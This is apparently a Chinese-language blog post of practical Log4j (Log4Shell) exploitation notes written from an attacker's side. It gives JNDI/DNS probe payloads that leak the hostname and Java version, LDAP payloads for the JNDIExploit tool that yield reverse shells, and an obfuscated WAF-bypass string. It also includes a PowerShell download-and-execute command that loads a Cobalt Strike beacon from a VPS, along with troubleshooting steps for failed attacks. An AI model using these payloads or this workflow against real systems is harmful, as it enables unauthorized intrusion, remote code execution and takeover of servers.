log4j测试笔记

最近打的log4j还算比较多,对一些特殊的情况做一个记录,若碰到相似情况可以做一下参考

大部分图不好放出来,所以可能文字较多

0x01:介绍

一般会出现几种情况,jdni关键字被过滤,jndi服务器无请求,jndi有请求但是无法执行命令,这些可能有以下几种情况:
1.waf拦截
2.搭建jndi服务器被ban
3.jdk版本不正确
4.使用gadget有问题
等等

优先判断版本与os
${jndi:dns://${hostName}.es28bl.ceye.io/test}

${jndi:dns://${sys:java.version}.es28bl.ceye.io/test}

0x02:jdk1.8下无法执行命令,切换jdk11成功

一次log4利用过程,弹测到java的版本为1.8,搭建jndi服务

执行了一下curl命令,发现无命令返回,切换为jdk11,这里推荐一个师傅的项目

https://github.com/zzwlpx/JNDIExploit

指定为jdk11运行

/usr/local/jdk-11.0.13/bin/java -jar JNDIExploit-1.2-SNAPSHOT.jar

使用payload:

${jndi:ldap://vps/Basic/Command/Base64/cmd}

最后反弹shell成功

0x03:更换gadget

朋友发来了一个log4j,几个gadget都没有成功,一个经典的情况,平时测试log4的时候可能会经常遇到的情况

jndi有请求,命令也执行成功了,但是监听服务器端口无返回

最后有人在大成功了,环境是jdk1.8和Deserialization/CommonsBeanutils1/ReverseShell/,环境是jdk1.8,这里我一般直接用jdk11来打,毕竟向下兼容,没想到这次只有jdk1.8才大成功

这里注意的问题是,使用CommonsBeanutils1需要jar文件下有以下文件,不然执行会报错

使用payload:

最后成功反弹

0x04:绕过waf

当请求存在jndi时,会被waf拦截

可以参考此项目:https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words

这里直接放出我成功过几次的payload:

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://vps/Basic/Command/Base64/cmd}

即可进行反弹

0x05:windows下的log4

属于是粗心的一次,碰到了一个log4把几种情况全部排除了,但是还是一直出现一种情况,jndi服务显示执行了命令,但是监听端口无命令执行

最后想到忘记判断了os,每次碰到默认都是linux环境下直接去打了,于是判断了一下os

果然是win的机器,既然不好反弹shell那就去上线cs,这里因为环境没有防火墙之类的设备,直接使用cs默认生成的马就成功了

cs生成一个payload ps1

powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘http://vps/payload.ps1‘)”

执行上线的命令,用jndi请求如下:

${jndi:ldap://ip:1389/Basic/Command/Base64/cmd},这里的cmd即上面上线cs的命令

发送请求

成功上线

0x06:总结

其实真实环境碰到了有各种情况,只能对大致的几个进行介绍,但是总结了一下排查流程

在服务器出网的情况下:

1.当前优先使用jdk11开启jndi服务器

2.服务器搭建jndi发送请求后,jdni服务器无请求

1)排除机器不出网的情况下,考虑端口问题,比如将jndi服务换为常见端口如80,443,8080等,再次发送payload查看是否有请求产生

2)vps是否被ban,考虑换vps执行(来自某一次几个服务器都被ban的血泪教训)

3.jndi服务有请求产生,但是执行命令不成功

1)考虑gadget问题,多换几个试试

2)jdk版本问题,优先jdk11,排除其他情况后,最后服务器对应jdk版本做尝试

应该后面还会遇到其他情况,有了再继续补充

发表评论

电子邮件地址不会被公开。 必填项已用*标注